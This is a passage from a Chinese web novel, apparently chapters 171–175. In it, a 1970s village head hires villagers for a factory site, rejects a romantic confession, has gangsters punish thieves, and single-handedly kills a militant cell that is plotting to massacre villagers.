他就像一头猎豹一样,在夜色之中飞驰。 月光下,一人一黄鼠狼的身影,在田野里快速移动,形成了一幅奇特的画面。 不久,陈虎再次举起弓弩,瞄准了这只逃跑的黄鼠狼。 “嗖!” 又是一箭射出。 弩箭精准地命中了这只黄鼠狼的头部。 这只黄鼠狼应声倒地,再也没有动弹。 陈虎走到两只黄鼠狼的尸体旁,确认它们都已经死亡之后,这才松了一口气。 “百发百中!” 马老三从养殖场里面走了出来,直接夸赞起陈虎,语气之中,充满了敬佩。 陈虎闻言,只是笑了笑,却没有说什么话。 他将两只黄鼠狼的尸体提了起来,准备带回村里。 他知道,明天早上,村民们看到这两只黄鼠狼的尸体,就不会再相信什么黄三太奶的报复了。 翌日清晨,阳光洒在上河村,驱散了夜的寒意。 陈虎打死两只黄鼠狼的消息,一夜之间,像风一样传遍了村子里面的每个角落。 有人说陈虎是天上的星宿下凡,百邪不侵。 有人说陈虎胆大包天,迟早要遭报应。 更多的人则对陈虎充满了敬佩,认为他是上河村的守护神。 陈虎对这些传言一笑置之,他更关心的是村子的发展。 与此同时,孙若薇的招标工作也顺利结束。 一支专业的施工队伍,浩浩荡荡地开进了上河村南边的那块地。 那块地原本是村里的集体土地,如今却轻而易举地落到了孙若薇的手中。 陈虎不知道孙若薇用了什么手段,但他知道,孙家的能量远比他想象中的要大。 施工队的到来,标志着上河村的建设即将进入到了一个新的阶段。 陈虎没有耽搁,在施工队到来后,就直接找到了施工队的负责人。 “老哥,贵姓啊?”陈虎递上一支烟,笑着询问道。 “免贵姓李,叫我老李就行。”负责人接过晨虎的烟,笑呵呵地说道。 “李哥,咱们明人不说暗话。”陈虎吐出一口烟圈,直接说道:“这工地上非技术工种的活儿,都得用我们村里面的人。” “这个……”老李面露难色道:“陈村长,我们也是按合同办事,用工都得经过公司审核……” “审核?什么审核?”陈虎打断了老李道:“咱们村里人勤劳肯干,吃苦耐劳,哪个人比外面的人差了?” 说话间,陈虎话锋一转,十分直白的表示道:“这项目是投资方是我,你认为我是在和你商量吗?” “陈村长,我不是这个意思……”老李听到陈虎的话,不由得擦了擦他额头上的汗。 “那你是哪个意思?”陈虎语气强硬的质问道:“你能不能干?不能干的话,我让孙若薇换施工队!” 老李直接就被陈虎的气势震慑住了,他没想到眼前这个年轻的村长竟然如此强硬。 “陈村长,您别生气!有话好好说!”老李当即陪着笑脸道:“这样吧,我回去跟公司汇报一下,看看能不能调整用工方案。” “不用汇报了!就这么定了!”陈虎斩钉截铁地说道:“明天早上,我要看到我们村里面的人在工地上干活!” 说完,陈虎转身离去,只留下老李一个人站在原地,露出满脸的无奈。 陈虎随后便召集了上河村全村的村民们,将工地用工的消息告诉了大家。 陈虎站在村口的老槐树下,手里夹着卷旱烟,目光扫过一张张期盼的脸。 “乡亲们,都静一静,听我说!” 人群渐渐安静下来,所有的目光都集中在陈虎的身上。 “我最近给咱们村里拉来了一个大项目!” 听到陈虎的话,人群之中,顿时就爆发出“嗡嗡……”的议论声。 “啥项目啊?虎子?”一个村民大声问道。 “建厂子!”陈虎吐出一个烟圈,随后说道:“就在南边的那块荒地上!” “建厂子?那敢情好啊!” “能干啥啊?这厂子?” “是啊!俺们能干啥啊?” …… 村民们七嘴八舌地议论起来,有兴奋,也有疑惑。 “大伙儿别急,听我说!”陈虎提高了声音,解释道:“这厂子建起来,需要不少人手,盖厂房,装机器,都需要人!” “那工钱咋算啊?”一个精瘦的老汉这时候问道。 老汉的话,顿时就引得其他村民们的附和。 “对啊!虎子,这工钱可不能少啊!” “是啊!在咱们村招工,用咱们村的地,可不能亏待咱们村!” “有虎子在,咱们肯定能拿高工钱的!” …… “放心!亏不了大伙儿的!”陈虎拍着胸脯保证道:“这项目是我拉来的,我还能亏待了大家伙吗?” “一天一块钱!”陈虎随后,直接竖起一根手指道:“管两顿饭!” 听到陈虎说的工钱,人群之中,顿时就爆发出一阵阵惊呼声。 一块钱一天,放在70年代的农村,可是一笔不小的数目。 “虎子,你说的是真的?”有人不敢相信的问道。 “我啥时候骗过大伙儿?”陈虎笑着说道:“这厂子是我对象投资的,我还能坑你们吗?” “那……那啥时候开工啊?” “明天!”陈虎干脆利落地说道:“明天早上,大伙儿都到南边那块地上集合!” “好嘞!明天咱们肯定准时到!” “虎子,你真是俺们上河村的福星啊!” “是啊!有虎子在,大伙儿都会跟着过上好日子的!” …… 村民们欢呼雀跃,奔走相告。 陈虎看着一张张喜悦的脸,心里面也充满了成就感。 他知道,这仅仅是个开始。 “还有啊!”陈虎为了给村民们更多的期盼,又再次提高了声音道:“等这厂子建成之后,还需要招募工人,到时候,优先招咱们村里面的人!” “真的?还能招咱们村里的人吗?” “那敢情好啊!以后村里人又有个生计了!” “俺家小子一直闲在家了,有厂子的话。那他到时候就能去厂里面上班了!” …… 村民们随后更加兴奋了,仿佛看到了美好的未来。 “虎子,你真是个活菩萨啊!”一个老妇人感谢着陈虎,激动得热泪盈眶。 陈虎闻言,笑了笑,却是没再多说什么话。 他知道,他要做的,还有很多。 他要让上河村里面的每一个人,都过上好日子。 “等厂子建好了,大伙儿赚了钱,就都能建新房,住上新房了!”陈虎之后,又继续大声说道。 人群之中,再次爆发出震耳欲聋的欢呼声。 新房,对于这些祖祖辈辈都住在土坯房里面的村民们来说,简直就是一个遥不可及的梦想。 而现在,这个梦想,即将变成现实。 村民们都知道陈虎这不是在画大饼,因此更加开心。 陈虎看着欢呼雀跃的村民们,心中不由得充满了豪情壮志。 他要带领上河村,走向繁荣富强! 夕阳西下,金色的余晖洒在上河村,将整个村庄笼罩在一片温暖的光芒之中。 陈虎站在老槐树下,望着远方,眼神坚定而深邃。 他知道,这一切,仅仅只是开始而已! 第172章 有时候,感情这种东西,一文不值! 翌日正午,陈虎站在老槐树下,看着施工队热火朝天的干活,心里面却是在盘算着下一步的计划。 远处,一道熟悉的身影,款款而来。 来人正是孙若薇! 她今天穿了一身素雅的连衣裙,显得格外清丽脱俗。 陈虎当即就迎了上去。 “若薇,你来了!” “嗯!来看看工程进度!”孙若薇轻轻点头,微微一笑。 “一切顺利!”陈虎指着忙碌的工地,笑着说道:“多亏有你!” “应该的!这是我们共同的事业!”孙若薇浅笑道。 陈虎和孙若薇两人随后并肩走着,视察了一圈工地。 “走吧!去我家坐坐!” 视察完工地,陈虎向孙若薇提议道。 “好!”孙若薇欣然答应。 杨蓉此时正在院子里择菜,看到陈虎和孙若薇两人一起进来,脸上立刻就堆满了笑容。 “若薇来了,快进来坐!” “阿姨好。”孙若薇礼貌地问好。 “哎!好好好……”杨蓉笑容满面地拉着孙若薇的手,热情地招呼道:“中午就在这儿吃饭,阿姨给你做你最爱吃的红烧肉!” “谢谢阿姨!”孙若薇闻言,顿时有些不好意思。 “跟阿姨还客气啥啊?”杨蓉笑着说道:“以后啊,这就是你的家!” 孙若薇听到杨蓉这话,脸蛋不由得微微一红。 陈虎看着这一幕,心里也是感到暖暖的。 午饭很丰盛,杨蓉的手艺一直不错,孙若薇吃得很开心,还不时地夸赞杨蓉做的饭菜好吃。 吃过午饭,陈虎和孙若薇两人一起来到偏屋。 陈虎拿出茶叶,开始煮茶。 “若薇,你这次来,是不是有什么事情?”陈虎煮茶时问道。 孙若薇闻言,点了点头。 “我查到了一些关于九头蛇的信息。” 听到孙若薇这话,陈虎的手不由得微微一顿。 “怎么样?” “很复杂!”孙若薇的脸色有些凝重道:“这个组织,一直是国安部门负责的。” “国安?”陈虎闻言,顿时就皱起了眉头。 “嗯。”孙若薇点了点头,脸色凝重的提醒陈虎道:“我劝你,最好不要招惹他们!” “为什么?” “他们很危险!”孙若薇解释道:“而且,司家现在也没有再追查九头蛇了。” “哦?”陈虎闻言,不由得挑了挑眉。 “他们害怕被继续报复。”孙若薇随后又解释道。 陈虎沉默了片刻,而后开口。 “我给你讲个故事吧!” “什么故事?” “从前,有一只兔子,它住在一个山洞里。”陈虎缓缓说道:“有一天,一只狼来到了山洞口。” “兔子很害怕,它躲在山洞里面不敢出来。” “狼在外面等了很久,最后还是离开了。” “兔子很高兴,它以为自己安全了。” “可是,第二天,狼又来了。” “这次,狼直接冲进了山洞里面,把兔子吃掉了。” 孙若薇静静地听着。 “这个故事告诉我们,有些麻烦,你躲是躲不掉的。”陈虎看着孙若薇,十分认真的说道:“你只有勇敢地面对它,才能解决它。” 孙若薇闻言,不由得陷入了沉思。 茶香袅袅,弥漫在小屋里面。 窗外,阳光正好。 孙若薇并未在陈虎家待太久。 她还有许多事情要处理。 陈虎便将她送到村口。 “路上小心!” 临走前,陈虎关心的叮嘱孙若薇道。 孙若薇闻言,点了点头,然后坐上了吉普车,扬长而去。 目送车子消失在视线的尽头,陈虎脸色顿时一冷,便转身往回走。 司家竟然不追查九头蛇了,这倒是他所没有想到的。 陈虎也没有听信孙若薇的一面之词,司家到底是什么态度,还得以后有机会再打听才行。 刚走到家门口,陈虎就看到陆无双带着陈真和陈瑶从学校回来了。 “哥!” 陈真和陈瑶看到陈虎,就立刻齐声大喊,朝着陈虎飞奔过来。 “慢点跑,别摔着!”陈虎笑着说道。 “哥,今天陆老师教我们唱了一首新歌,可好听了!”陈真兴奋地说着。 “是吗?晚上唱给哥听听!”陈虎微笑着摸了摸陈真的头。 “嗯!” 陈真用力的点了点头。 杨蓉已经把午饭留在了锅里,热气腾腾的。 “快去洗手吃饭!”陈虎对陈真和陈瑶两个小家伙说。 “好嘞!” 陈真和陈瑶两人齐声喊了一声,然后就欢快地跑进了屋里。 陆无双随后也走了过来。 “若薇走了?”陆无双问道。 “嗯!刚走!”陈虎回道。 午后的阳光暖洋洋的,陈虎搬了个小板凳坐在院子里面,享受着难得的闲暇时光。 陆无双也搬了个小板凳,在陈虎旁边坐下。 “你和若薇认识多久了的?”陆无双看似不经意地问道。 “不久前。”陈虎想了想,没想出个具体的时间,就随意回应着。 “那是多久?”陆无双追问道。 “具体的时间,我也记不清了,大概是年前吧!”陈虎并未多想,依旧敷衍。 “哦……”陆无双点了点头,又问道:“你很喜欢她?” 陈虎闻言,不由得愣了一下。 “喜欢?” 他重复了一遍“喜欢”这个词,眼神里面,却是闪过一丝复杂的情绪。 “谈不上喜欢!” “那是什么?”陆无双听到陈虎这话,不由得好奇地看着他。 陈虎沉默了片刻,随后语气冰冷的说道:“我这种人,可以动情,但也仅限于此!” “什么意思?”陆无双闻言不解。 陈虎抬头望向天空,目光深邃。 “有时候,感情这种东西,一文不值!” 陆无双听到陈虎这话,更加疑惑了。 “我不明白!” 陈虎闻言,却是笑了笑。 “爱情这种东西,本就仅仅是无知者憧憬,愚昧者听信的玩意儿!” “按照科学的角度来看,爱情是人类繁衍所需,激素促成的一种感觉。” “那些文学家、艺术家们歌颂爱情,是因为爱情没有门槛,能够让所有人共情。” “所以他们才趋之若鹜地用华丽的辞藻去包装它,粉饰它。” “实际上呢?” 陈虎说到这里,却是自嘲地笑了笑。 “爱情不过是生物本能的驱使罢了!” 陆无双静静地听着,眼神里面,充满了不解。 她无法理解陈虎的这种想法。 在她看来,爱情是美好的,是神圣的。 是值得人们去追求,去守护的。 陈虎看着陆无双,眼神里面,不由得闪过一丝怜悯。 “你还年轻,不懂这些!”陈虎说到这里,直接站起身,伸了个懒腰道:“我去看看地里的庄稼了!回见!” 说完,陈虎便头也不回地走了。 只留下陆无双一个人坐在院子里,陷入了沉思。 阳光洒在陆无双的身上,却驱不散她心中的疑惑。 傍晚,又是一天的末端。 炊烟袅袅,晚霞染红了半边天。 饭桌上,热气腾腾的玉米糊糊和野菜,散发着朴实的香味。 “哥,今天陆老师教我们写字了,我都会写自己的名字啦!”陈真一脸骄傲地炫耀着。 “囡囡也会写!”陈瑶奶声奶气地补充道,她的小脸上满是得意。 陆无双温柔地笑着,看着眼前的两个孩子,眼里满是慈爱。 随后,陆无双不动声色地夹起一块炖得软烂的兔肉,放在了陈虎的碗里。 “多吃点!” 陈虎闻言,点了点头,却没对陆无双的举动说什么,继续埋头吃饭。 第一卷 第173章 建材被偷了 杨蓉的目光随后在陆无双和陈虎两人之间,来回扫视。 她的眼神里面,却是带着一丝不易察觉的担忧。 晚饭过后,杨蓉收拾碗筷,陆无双则走到了陈虎的身边。 突然,陆无双深吸了一口气,似乎在鼓起勇气。 “陈虎,我有话想跟你说。” 陈虎闻言看着陆无双,等着她继续说下去。 陆无双的脸颊,微微泛红,眼神闪烁。 “我……我喜欢你!” 陆无双此时终于说出了口,声音很轻,却很坚定。 说完这句话,陆无双像是卸下了千斤的重担,却又更加紧张起来。 “我知道,我配不上你!” 说到这里,陆无双的眼里闪过一丝痛苦。 “我……我曾经……” 陆无双咬了咬嘴唇,似乎难以启齿。 “我被拐卖之后,经历过很多不好的事情……” 之后,陆无双没有再说下去,但陈虎已经明白了她的意思。 不等陈虎回应,陆无双便直接转身跑出了陈虎家的大门。 陈虎看着陆无双离去的背影,不由得叹了口气。 然后,陈虎也追了出去。 夜幕降临,繁星点点。 陈虎追上了陆无双。 “陆无双!” 听到陈虎的话,陆无双停下脚步,却没有回头。 “对不起!我不该说那些话!” “其实,我并没有发现你的心意。”陈虎略带歉意的说道:“还有,我不在意你的过去!我并不是那种封建古板的人!” 陆无双闻言,转过身,泪眼朦胧地看着陈虎。 “可是,我有女朋友了。”陈虎语气平静,却带着一丝歉意。 听到陈虎虎这话,陆无双的眼泪顿时就流了下来。 “我知道!” 陆无双哽咽着说道。 “我……我只是想把我的心意告诉你。” “我明白!”陈虎点了点头,十分平静道:“希望你能够放下!” 闻言,陆无双擦了擦眼泪,努力挤出一个笑容,故作轻松的说道:“嗯!我知道了!我……我没事!” “回去吧!天凉了!”陈虎语气平淡的说道,仿佛刚才什么事情都没有发生一样。 陆无双点了点头,转身便往回走。 月光洒在陆无双的身上,显得格外单薄。 陈虎看着陆无双的背影,心绪平和。 情情爱爱对于陈虎而言,仅仅是前进路上可有可无的调味品罢了,他可没有时间和精力浪费在这上面。 无论对方是孙若薇还是陆无双,陈虎对她们的感觉,其实都一样。 看山是山,看水是水,看红颜是红颜……当然,很多时候有必要的话,红颜也可以什么都不是。 陈虎转身,朝他家的方向走去。 夜色渐深,山村里面,一片寂静。 只有远处偶尔传来的几声狗吠,打破了夜的宁静。 一夜无话,却并不代表无事。 早上,杨蓉端着热气腾腾的玉米粥从厨房里面出来,她的眼神一直在陈虎和陆无双两人之间飘忽查看。 昨晚的动静,杨蓉不可能没听到。 陈虎接过粥碗,对杨蓉微微一笑,算是回应。 陆无双则略显尴尬地低头喝粥,屋内的气氛有些微妙。 “虎子,工地上出事了!” 老李焦急的声音从门外传来,打破了屋内的宁静。 陈虎闻言,直接放下碗筷,起身就走了出去。 “出啥事呢?” “建材……丢了不少!”老李吞吞吐吐地说道。 陈虎闻言,眉头当即一皱。 “丢了多少?” “水泥,钢筋,木料……有不老少呢!”老李说完后,不由得擦了擦他额头的汗。 陈虎知道损失这么多建材后,就没再说话,直接走向停在院子里面的吉普车。 “我去看看!” 发动引擎,吉普车卷起一阵尘土,当即绝尘而去。 工地上,一片狼藉。 堆放建材的地方空了一大块,明显是被人搬走的痕迹。 孙若薇站在空地中央,脸色铁青。 “陈虎,你来了!” 看到陈虎,孙若薇当即就像是找到了主心骨一样。 “这怎么回事?”孙若薇明知故问地问起了陈虎,似乎是想从陈虎这里,找寻一些安慰。 “还能是怎么回事?被偷了呗!”陈虎语气平淡,似乎对这种事情早已习以为常。 “报警了吗?”孙若薇随后问道。 “报了也没用!”陈虎摇了摇头道:“这地方,警民比例五万比一,派出所就那么几个人,根本管不过来的。” “五万比一?”孙若薇听到这个警民人数对比,不由得有些惊讶。 “对!一个警察要管五万个老百姓,你说他能忙得过来吗?”陈虎轻笑一声反问。 “这也太……”孙若薇一时之间,有些语塞。 “这很正常!”陈虎随即解释道:“这年头,这种事情多了去了!” “那怎么办啊?”孙若薇有些焦急道:“难道要咱们自己认了这些个建材损失吗?” “放心!我自有办法!”陈虎的嘴角,此时却是勾起一抹自信的笑容。 “咱们先去县城里头一趟!” 陈虎说完,就拉开吉普车的车门,示意孙若薇上车。 孙若薇犹豫了一下,然后还是坐上了吉普车。 吉普车再次启动,朝着县城的方向驶去。 路上,孙若薇看着陈虎,眼神里面,充满了疑问。 “你到底要去找谁?”孙若薇最终还是询问起了陈虎。 “去了你就知道了!”陈虎故意卖了个关子,笑着回道。 孙若薇随即不再追问,只是静静地看着窗外飞逝的景色。 她的心里,却是隐隐有一种预感。 这件事情,恐怕没有那么简单! 陈虎开着吉普车,眼神异常坚定,仿佛一切都在他的掌控之中一样。 他知道,在这个时代,有些事情,不能依靠法律,只能依靠自己。 而他,恰好有这个能力。 吉普车在坑洼不平的土路上颠簸着,扬起了一路尘土。 陈虎握着方向盘,眼神专注,车速却是丝毫不减。 县城很快到了。 陈虎没有丝毫犹豫,直接将车开到了刘三刀的堂口。 这是一栋两层小楼,门口站着两个彪形大汉,警惕地注视着来往的行人。 看到陈虎的吉普车后,这两个彪形大汉立刻就换上了一副谄媚的笑容,然后点头哈腰地把陈虎迎了上来。 有过刘三刀之前特意下令的叮嘱吩咐,他们自然不敢动手来阻拦陈虎这尊凶神。 “虎哥,您来了!” “三刀哥正在里面等着您呢!” 陈虎闻言,点了点头,然后径直就走了进去。 孙若薇紧紧的跟着陈虎,眼神里面,却是带着一丝好奇和不安。 她不知道陈虎要带她来见什么人,但从这两个彪形大汉对陈虎的态度来看,陈虎要见的这个“三刀哥”,肯定不简单! 第一卷 第174章 有些事情,必须用非常手段来解决! 刘三刀此时正在屋里喝茶,听到外面的动静后,他连忙起身相迎。 看到陈虎身后的孙若薇时,刘三刀先是一愣,随即脸上堆满了笑容。 “虎哥,什么风把您给吹来了?” “这位是……”刘三刀的目光落在孙若薇的身上,带着一丝探究。 “孙若薇,我女朋友。”陈虎简单的介绍了一下。 “孙小姐,幸会幸会!”刘三刀连忙伸出手,热情地和孙若薇握了握。 不过,他的心里此时却掀起了惊涛骇浪。 那晚的事情,只有他和陈虎知道。 如今,陈虎带着孙家千金一起来找他,这其中的意味,让他不得不深思。 难道……陈虎那晚说的是真的? 他真的有那个实力? 刘三刀越想越心惊,他看向陈虎的眼神,不由得也多了几分敬畏。 “刘三,我工地上的建材被人偷了。”陈虎直接开门见山地说道。 “什么?!”刘三刀闻言,故作惊讶,心里却暗自冷笑。 这点小事,也值得陈虎亲自跑一趟? “虎哥,您放心,这事儿包在我身上!”刘三刀拍着胸脯保证道。 “我马上派人去查,保证给您一个交代!” 他如今管理着整个马关口县的灰产和不法生意,这点小事,自然不在话下。 “那就麻烦你了!”陈虎闻言,点了点头。 “虎哥,您太客气了,这都是我应该做的。”刘三刀连忙说道。 “来!来!来!先喝杯茶!” 他一边说着,一边吩咐手下人去查。 屋里,刘三刀殷勤地给陈虎和孙若薇倒茶。 茶香袅袅,却掩盖不住空气之中弥漫的紧张气氛。 孙若薇看着陈虎和刘三刀,心里充满了疑惑。 她不明白陈虎为什么要来找刘三刀这个人,更不明白刘三刀为什么对陈虎如此恭敬。 陈虎却像是个没事人一样,悠闲地品着茶,仿佛一切都在他的掌控之中。 他知道,刘三刀不敢不尽力。 假设他还想坐稳这个位置的话! 不多时,刘三刀手底下的五个马仔便推搡着两个鼻青脸肿的青年,到了陈虎的面前。 “虎哥,就是这俩小子,跟工地上的那几个工人里应外合,把建材偷出去卖了。” 为首的一个马仔指着两个青年,语气里面,带着几分得意。 “工地上那几个工人呢?”陈虎问道。 “已经控制起来了,虎哥您看怎么处理?”为首的马仔点头哈腰。 孙若薇听到这里,顿时怒火中烧。 “真是岂有此理!我招标进来的施工队,竟然监守自盗!” 她狠狠地瞪了那两个青年一眼,恨不得直接上去踹两脚。 陈虎却神色平静,仿佛早就料到会发生这种事情。 “施工队那边不用追究,把那几个工人交给警察,依法处理就好。” “至于这俩……” 陈虎的目光落在两个青年的身上,眼神冰冷。 刘三刀见状,立刻心领神会。 “虎哥,这俩小子就交给我吧!保证不会再让他们惹麻烦!” 他挥了挥手,示意他手下的五个马仔,把这两个青年给带下去。 “不要惊扰孙小姐,到后院处理!” 刘三刀还特地压低声音,补充了一句,说完他就跟着去了后院。 两个青年被拖走的时候,眼神里面,充满了恐惧。 他们知道他们落到刘三刀的手里,绝对是没有好果子吃的。 孙若薇虽然不解陈虎为何如此处理,但也没有多问。 她相信陈虎自有他的道理。 后院传来不少声闷哼,很快又归于平静。 刘三刀重新回到屋里,脸上带着一丝讨好的笑容。 “虎哥,已经处理好了。” 陈虎闻言,点了点头,没有多说什么。 他知道,刘三刀的手段,绝对不会让他们好过。 “以后再有这种事情,直接报警处理。” 陈虎淡淡地说道,语气里面,却带着不容置疑的威严。 “是!是!是!虎哥教训的是!”刘三刀连忙点头称是,他的心里也是暗自庆幸,还好他反应快,没有让陈虎亲自动手。 否则的话,这两个小子的下场,恐怕会更惨。 刘三刀的手下很快就端上来一盆清水,还有一块白毛巾。 “三刀哥,请洗手!” 刘三刀接过毛巾,擦了擦手,然后扔进盆里。 鲜红的血水,瞬间染红了清水。 孙若薇看到这一幕后,胃里顿时一阵翻涌。 她虽然没有亲眼看到,但也能够猜到后院刚才发生了什么。 刘三刀的手段,果然狠辣! 陈虎却像是什么事情都没发生过一样,神色平静地喝着茶。 他知道,在这个时代,有些事情,必须用非常手段来解决! 只有这样,才能震慑宵小,维护自己的利益。 吉普车再次扬起一路尘土,离开了刘三刀的堂口。 孙若薇坐在副驾驶上,心情久久不能平静。 她第一次如此近距离地接触到陈虎的另一面。 一个杀伐果断,手段狠辣的陈虎。 这让得她感到有些害怕,却又莫名的兴奋。 她知道,她爱上的这个男人,远比她想象的要复杂得多。 春日的暖阳洒在后山上,积雪早已消融,露出褐色的土地和新生的绿芽。 陈虎肩扛猎枪,脚步轻快地走在山间小路上。 微风拂过,带着泥土和青草的芬芳。 陈虎深吸了一口气,感受着这久违的宁静。 不像冬日里那般死寂,春日的山林却是充满了生机。 鸟儿在枝头欢快地鸣叫,昆虫在草丛中嗡嗡作响。 陈虎嘴角微微上扬,心情愉悦。 这一个月来,他忙着处理村里的事务,已经很久没有进山打猎了。 今天,他终于可以放松一下,享受这难得的闲暇时光。 以往大雪封山进山打猎,是为了活命与养家糊口,如今却仅仅是为了消遣。 走了约莫一个小时,陈虎来到一片灌木丛前。 他放慢脚步,仔细观察着周围的环境。 经验告诉他,这里很可能有野兔出没。 果然,没过多久,他就发现了一窝野兔。 几只毛茸茸的小家伙正蹲在一起,啃食着嫩绿的草叶。 陈虎心中不由得一喜,当即就举起猎枪,瞄准其中一只最大的野兔。 就在陈虎准备扣动扳机的时候,那只野兔似乎察觉到了危险。 它猛地抬起头,警惕地四处张望。 陈虎屏住呼吸,一动不动。 他知道,只要他稍有动静,这窝野兔就会立刻逃窜。 僵持了片刻,那只野兔突然发出一声尖叫。 紧接着,整窝野兔都四散奔逃。 陈虎暗叫一声“可惜”,连忙追了上去。 他身手矫健,在山林之中,穿梭自如。 野兔跑得飞快,但陈虎也不甘示弱。 他紧追不舍,不放过任何一个机会。 追逐中,野兔慌不择路,竟然跑进了一处山涧。 陈虎也跟着跳了下去。 山涧顺流而下,溪水潺潺,怪石嶙峋。 陈虎四处寻找野兔的踪迹,却意外发现了一些人为踩踏的痕迹。 这些痕迹很新,显然是最近几天留下的。 而且,从痕迹的深度和数量来看,人数还不少。 陈虎心中不由得有些疑惑,难道有人偷偷进山了? 他放弃了追捕野兔,决定先弄清楚这些痕迹的来历。 随即,陈虎沿着痕迹,小心翼翼地向前走去。 山涧蜿蜒曲折,两旁是陡峭的山壁。 陈虎警惕地观察着周围的环境,不敢有丝毫放松。 他心里清楚,在这荒山野岭,任何意外都可能发生。 走了大约几百米,山涧豁然开朗。 眼前出现了一片空地。 空地上,搭建着五顶简陋的帐篷。 帐篷周围,堆放着一些工具和物资。 陈虎躲在一块巨石的后面,仔细观察着空地上的情况。 帐篷里面,隐隐约约有人影晃动。 陈虎心中暗想,这些人究竟是什么来路? 他们在这里干什么? 对方估摸着至少有十几人,而且驻扎的十分有条理。 陈虎明白,像这般有条理的规模驻扎,就证明对方一定经受过专业训练。 抛除军队的可能性,那陈虎思来想去,现在唯一能够这样驻扎在山里的人,那就只能是九头蛇组织里的人! 第一卷 第175章 看来,我的工作还没有结束! 最近,马关口县城这一带的九头蛇组织,因为遭到司家的追击,一直逃逸着在四处藏匿。 现在,他们出现在山里,倒也合情合理。 当即,陈虎就隐匿着身形埋伏起来,决定继续观察,看看这些人究竟在搞什么鬼。 夕阳西下,山影拉长。 陈虎伏在巨石后面,一动不动,如同与山石融为一体。 山风吹过,带来一丝凉意。 陈虎他紧了紧身上的伪装,十分耐心地等待着。 时间一分一秒地流逝。 九头蛇组织的营地里面,顿时就升起了袅袅炊烟。 饭菜的香味飘散开来,勾引着陈虎的食欲。 但陈虎强忍着饥饿,继续观察着营地内的情况。 终于,夜幕降临。 营地里面,点起了篝火。 火光映照着他们每个人的脸庞,也照亮了他们忙碌的身影。 陈虎数了数,他们一共十五个人。 不多不少,正好是一个九头蛇小队的规模。 一个身材瘦小的男人,这时候从帐篷里面走了出来。 他四处张望了一下,然后朝着树林深处走去。 陈虎心中一动,当即就意识到这是一个机会,便悄无声息地跟了上去。 瘦小男人随后走到一棵大树后面,解开裤带开始方便。 陈虎突然猛地从树后窜出,一记手刀砍在他的后颈上。 瘦小男人闷哼一声,直接软绵绵地倒了下去。 陈虎迅速脱下瘦小男人的衣服,换在了他的身上。 陈虎将瘦小男人拖到隐蔽处藏好后,然后便大摇大摆地走进了营地。 营地里,其他人正围着一张地图,热烈地讨论着什么。 陈虎不动声色地走了过去,装作若无其事的样子。 “队长,咱们真的要这么做吗?”一个满脸络腮胡子的男人问道。 “废话!这是分部的部长下达的命令,你想抗命?”被称为“队长”的男人,身材魁梧,满脸横肉,他语气凶狠的说道:“司家和马关口政府逼得我们走投无路,我们必须给他们点颜色看看!” “可是……屠杀无辜的村民,是不是有点……”络腮胡子男人说话时有些犹豫。 “妇人之仁!”队长闻言,狠狠地瞪了络腮胡子男人一眼道:“成大事者,不拘小节!只有这样,才能够震慑住他们,让他们知道我们的厉害!并且,我们一共有三支分队同时行动,这样的话,让他们难以招架,等他们乱作一团时,我们才好方便穿越边境撤退!” “没错!”另一个尖嘴猴腮的男人随后附和道:“只要我们成功穿越边境,就能逃出生天,到时候天高任鸟飞,海阔凭鱼跃!” “队长英明!”其他人闻言,也是纷纷表示赞同。 陈虎听到他们的对话,心中惊骇不已。 他没想到,这支九头蛇小队的目标,竟然是附近村落和镇子。 他们打算展开一场无差别的大屠杀,然后穿越边境逃离,以此来报复司家和马关口政府! 陈虎不由得暗暗握紧了拳头。 三支分队吗? 他必须阻止这场惨剧的发生! 陈虎的大脑飞速运转,思考着对策。 他可不想坐视不理,任由这场惨剧发生,九头蛇当真一如既往的丧心病狂,看样子,他是得活动活动筋骨了! 陈虎随后不动声色的找了个角落坐下。 他观察着营地里的每一个人,寻找着下手的机会。 一个满脸麻子的男人站起身,朝着树林走去。 陈虎知道,他的机会来了,便悄悄地跟了上去。 麻子男随后走到一棵大树后面,解开裤带开始小解。 陈虎如法炮制,当即便以迅雷不及掩耳之势冲了上去。 随时,陈虎手起刀落,麻子男甚至于连哼都没有哼一声,直接就倒在了地上。 然后,陈虎再度若无其事的回到了营地。 “麻子怎么去了这么久还没回来?”络腮胡子这是问道。 “可能是拉肚子了吧?”另一个队员闻言,耸了耸肩,毫不在意的随口说道。 络腮胡子听到这话,仅仅只是皱了下眉头,便没有再说什么。 陈虎见此,心中不由得暗喜,他明白计划进行得很顺利。 夜深了。 营地里的人,都渐渐睡去了。 陈虎悄悄地走到队长的帐篷前。 随后,他慢慢掀开帐篷,看到队长正睡得香甜。 当即,陈虎抽出匕首,猛地刺了下去。 队长惊醒过来,直接就发出了一声惨叫。 但已经晚了! 匕首深深地刺入了他的心脏。 队长瞪大了眼睛,死不瞑目。 陈虎迅速地离开了帐篷。 营地里面,顿时乱作一团。 “队长死了!” “有人袭击!” “快起来!” …… 九头蛇的成员们随后纷纷从帐篷里面跑了出来。 他们惊慌失措,不知道发生了什么事情。 陈虎趁乱,便开始了他的杀戮。 就见得,手中的匕首,如同死神的镰刀一般,收割着一条条的生命。 “啊!” “救命啊!” “不要杀我!” …… 惨叫声此起彼伏。 火光映照之下,鲜血飞溅。 陈虎如同鬼魅一般,穿梭在人群之中。 他的动作快如闪电,下手狠辣无情。 转眼之间,九头蛇的成员们就已经倒下了一大片。 剩下的三个人,顿时就吓得魂飞魄散。 他们四处逃窜,想要躲避陈虎的追杀。 但陈虎的速度,太快了。 他如同猎豹一般,追逐着猎物。 一个接一个的九头蛇的成员,倒在了他的脚下。 营地里面,随后只剩下了一片死寂。 陈虎站在尸堆之中,浑身沾满了鲜血。 他喘着粗气,眼神冰冷。 陈虎走到一开始被他打晕的瘦小男人的面前。 他解开瘦小男人的绳子,把瘦小男人拖到溪边。 陈虎舀起一瓢溪水,泼在了瘦小男人的脸上。 瘦小男人咳嗽了几声,缓缓地睁开了眼睛。 “你……你是谁?”他惊恐地问道。 “我是来取你性命的人。”陈虎冷冷地说道。 “不……不要杀我!”瘦小男人哀求道。 “告诉我,你们还有什么计划?”陈虎问道。 “我……我不知道。”瘦小男人颤抖着说道。 陈虎一把抓住瘦小男人的衣领,将他直接提了起来。 “没关系!等会儿你就会老实交代了。” 陈虎不再废话,直接上刑! 在陈虎专业的手段下,连半个钟头都没听过去,那瘦小男人就没了人形,满脸鲜血,疯疯癫癫的开口道: “我说……我说……”瘦小男人此刻就像是一副行尸走肉一般,根本不敢在陈虎面前撒谎道:“我们……我们还有两支分队……” “他们在哪里?”陈虎问完,追问道。 “我……我不知道……”瘦小男人十分虚弱的说道:“我只知道……他们会在明天晚上……对附近的村庄和镇子……展开屠杀……” 